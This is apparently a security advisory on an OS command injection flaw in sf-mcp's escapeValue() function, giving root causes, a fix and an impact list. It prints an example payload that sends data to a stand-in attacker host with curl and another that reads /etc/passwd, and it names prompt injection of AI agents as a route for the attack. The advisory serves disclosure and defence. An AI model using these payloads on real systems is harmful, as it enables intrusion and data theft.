sf-mcp is vulnerable to OS command injection (CWE-78) through MCP tool flag values. The escapeValue() function in src/utils.ts fails to properly sanitize shell metacharacters, allowing an attacker to execute arbitrary commands on the host system.
CVSS 3.1: 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability Details
The escapeValue() function in src/utils.ts has two distinct flaws :
Flaw 1 — No quoting for values without spaces (trivially exploitable):
If a flag value does not contain a space, it passes through completely raw. Shell metacharacters ( ; , && , || , | , ` , $() ) are interpreted by the shell.
Flaw 2 — Insufficient escaping for values with spaces:
When a value does contain spaces, only the " character is escaped. However, backtick command substitution ( `cmd` ) and $() subshell expansion both work inside double quotes in bash/sh.
These unsanitized values flow into execSync() in src/sfCommands.ts :
The server dynamically registers ALL Salesforce CLI commands as MCP tools. The Salesforce CLI has hundreds of commands, each with multiple flags. Every string-type flag on every registered tool is an injection vector.
From the source code, registration happens in registerAllSfCommands() :
Attack 1: No-space payload (Flaw 1)
Any string flag value without spaces is used raw:
The escapeValue() returns foo;curl${IFS}attacker.com/exfil?$(whoami) unchanged because it contains no space character. ${IFS} (Internal Field Separator) substitutes for spaces to keep the payload space-free.
Resulting shell command:
The shell interprets ; as a command separator and $(whoami) as subshell expansion.
Attack 2: Space-containing payload (Flaw 2)
Even with spaces, backticks and $() still execute:
escapeValue() returns "foo $(cat /etc/passwd | base64)" — the double quotes don't prevent $() expansion.
Resulting shell command:
Replace escapeValue() with proper shell-safe handling. Best approach: use execFileSync with argument arrays (no shell involved):
Or, build the argument list properly:
This completely eliminates the injection surface because execFileSync with an argument array never invokes a shell.
An attacker who can influence MCP tool calls (e.g., via prompt injection, a malicious MCP client, or a compromised AI agent) can:
Execute arbitrary OS commands with the privileges of the Node.js process
Read/write/delete files on the host system
Exfiltrate sensitive data (Salesforce credentials, environment variables, SSH keys)
Establish persistence (reverse shells, cron jobs)
Pivot laterally within the network
CWE-78: Improper Neutralization of Special Elements used in an OS Command
OWASP Command Injection
Node.js child_process security
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
